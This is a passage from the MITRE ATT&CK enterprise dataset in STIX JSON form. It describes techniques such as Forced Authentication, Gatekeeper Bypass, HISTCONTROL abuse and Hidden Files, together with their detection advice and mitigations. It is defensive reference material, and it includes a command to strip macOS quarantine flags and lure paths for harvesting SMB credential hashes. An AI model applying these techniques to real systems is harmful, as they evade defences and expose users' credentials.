                    "url": "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin"
                },
                {
                    "source_name": "Github PowerSploit Ninjacopy",
                    "description": "Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.",
                    "url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
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            ],
            "x_mitre_defense_bypassed": [
                "File monitoring",
                "File system access controls"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--1022138b-497c-40e6-b53a-13351cbd4090",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "File System Permissions Weakness Mitigation",
            "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)\n\nTurn off UAC's privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]</code>to automatically deny elevation requests, add: <code>\"ConsentPromptBehaviorUser\"=dword:00000000</code> (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: <code>\"EnableInstallerDetection\"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>\"EnableInstallerDetection\"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1044",
                    "external_id": "T1044"
                },
                {
                    "source_name": "Seclists Kanthak 7zip Installer",
                    "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.",
                    "url": "http://seclists.org/fulldisclosure/2015/Dec/34"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.).  Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:43.063Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "File System Permissions Weakness",
            "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n===Services===\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n===Executable Installers===\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)\n\nDetection: Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Services\n\nEffective Permissions: User, Administrator, SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
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                {
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                    "external_id": "T1044"
                },
                {
                    "source_name": "Mozilla Firefox Installer DLL Hijack",
                    "description": "Kugler, R. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.",
                    "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/"
                },
                {
                    "source_name": "Seclists Kanthak 7zip Installer",
                    "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.",
                    "url": "http://seclists.org/fulldisclosure/2015/Dec/34"
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            "x_mitre_permissions_required": [
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            ],
            "x_mitre_effective_permissions": [
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            "x_mitre_platforms": [
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            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "File and Directory Discovery Mitigation",
            "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1083",
                    "external_id": "T1083"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
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            "x_mitre_domains": [
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            "x_mitre_version": "1.0"
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            "id": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:04.710Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "File and Directory Discovery",
            "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. \n\n===Windows===\n\nExample utilities used to obtain this information are <code>dir</code> and <code>tree</code>. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.\n\n===Mac and Linux===\n\nIn Mac and Linux, this kind of discovery is accomplished with the <code>ls</code>, <code>find</code>, and <code>locate</code> commands.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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            "description": "Block SMB  traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.",
            "external_references": [
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                    "url": "https://attack.mitre.org/wiki/Technique/T1187",
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                    "source_name": "US-CERT APT Energy Oct 2017",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
                },
                {
                    "source_name": "US-CERT SMB Security",
                    "description": "US-CERT. (2017, March 16). SMB Security Best Practices. Retrieved December 21, 2017.",
                    "url": "https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices"
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            "id": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Forced Authentication",
            "description": "The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.  (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary, or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information including the user's hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials, or reuse it for Pass the Hash. (Citation: Cylance Redirect to SMB)\n\nThere are different ways this can occur:\n*A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened. The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n*A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\[remote address]\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)\n\nDetection: Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)\n\nPlatforms: Windows\n\nData Sources: File monitoring, Network protocol analysis, Network device logs, Process use of network\n\nPermissions Required: User\n\nContributors: Teodor Cimpoesu",
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                    "url": "https://attack.mitre.org/wiki/Technique/T1187",
                    "external_id": "T1187"
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                    "source_name": "Wikipedia Server Message Block",
                    "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Server%20Message%20Block"
                },
                {
                    "source_name": "Didier Stevens WebDAV Traffic",
                    "description": "Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.",
                    "url": "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/"
                },
                {
                    "source_name": "Microsoft Managing WebDAV Security",
                    "description": "Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017.",
                    "url": "https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx"
                },
                {
                    "source_name": "GitHub Hashjacking",
                    "description": "Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.",
                    "url": "https://github.com/hob0/hashjacking"
                },
                {
                    "source_name": "Cylance Redirect to SMB",
                    "description": "Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/white%20papers/RedirectToSMB.pdf"
                },
                {
                    "source_name": "US-CERT APT Energy Oct 2017",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
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            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Gatekeeper Bypass Mitigation",
            "description": "Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1144",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Gatekeeper Bypass",
            "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\u2019t set this flag. Additionally, other utilities or events like drive-by downloads don\u2019t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS\u2019s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)\n\nDetection: Monitoring for the removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further.\n\nPlatforms: macOS\n\nDefense Bypassed: Application whitelisting, Anti-virus\n\nPermissions Required: User, Administrator",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1144",
                    "external_id": "T1144"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "Clearing quarantine attribute",
                    "description": "Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.",
                    "url": "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/"
                },
                {
                    "source_name": "OceanLotus for OS X",
                    "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                    "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
                },
                {
                    "source_name": "Bypassing Gatekeeper",
                    "description": "Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/"
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            "type": "course-of-action",
            "id": "course-of-action--aaa92b37-f96c-4a0a-859c-b1cb6faeb13d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Graphical User Interface Mitigation",
            "description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
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                    "url": "https://attack.mitre.org/wiki/Technique/T1061",
                    "external_id": "T1061"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
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                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "description": "Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.\n\nDetection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: Yes",
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        },
        {
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            "id": "course-of-action--03c0c586-50ed-45a7-95f4-f496d7eb5330",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "HISTCONTROL Mitigation",
            "description": "Prevent users from changing the <code>HISTCONTROL</code> environment variable (Citation: Securing bash history). Also, make sure that the <code>HISTCONTROL</code> environment variable is set to \u201cignoredup\u201d instead of \u201cignoreboth\u201d or \u201cignorespace\u201d.",
            "external_references": [
                {
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                    "url": "https://attack.mitre.org/wiki/Technique/T1148",
                    "external_id": "T1148"
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                {
                    "source_name": "Securing bash history",
                    "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017."
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            ],
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            "type": "attack-pattern",
            "id": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "HISTCONTROL",
            "description": "The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nDetection: Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code> environment variable is also suspicious.\n\nPlatforms: Linux, macOS\n\nData Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1148",
                    "external_id": "T1148"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "Process Monitoring",
                "Authentication logs",
                "File monitoring",
                "Environment variable"
            ],
            "x_mitre_defense_bypassed": [
                "Log analysis",
                "Host forensic analysis"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--84d633a4-dd93-40ca-8510-40238c021931",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Hidden Files and Directories Mitigation",
            "description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1158",
                    "external_id": "T1158"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Hidden Files and Directories",
            "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS).\n\n===Windows===\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n===Linux/Mac===\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.\n\n===Mac===\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys. \n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\nDetection: Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1158",
                    "external_id": "T1158"
                },
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                },
                {
                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
                },
                {
                    "source_name": "WireLurker",
                    "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
                    "url": "https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Process Monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_defense_bypassed": [
                "Host forensic analysis"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
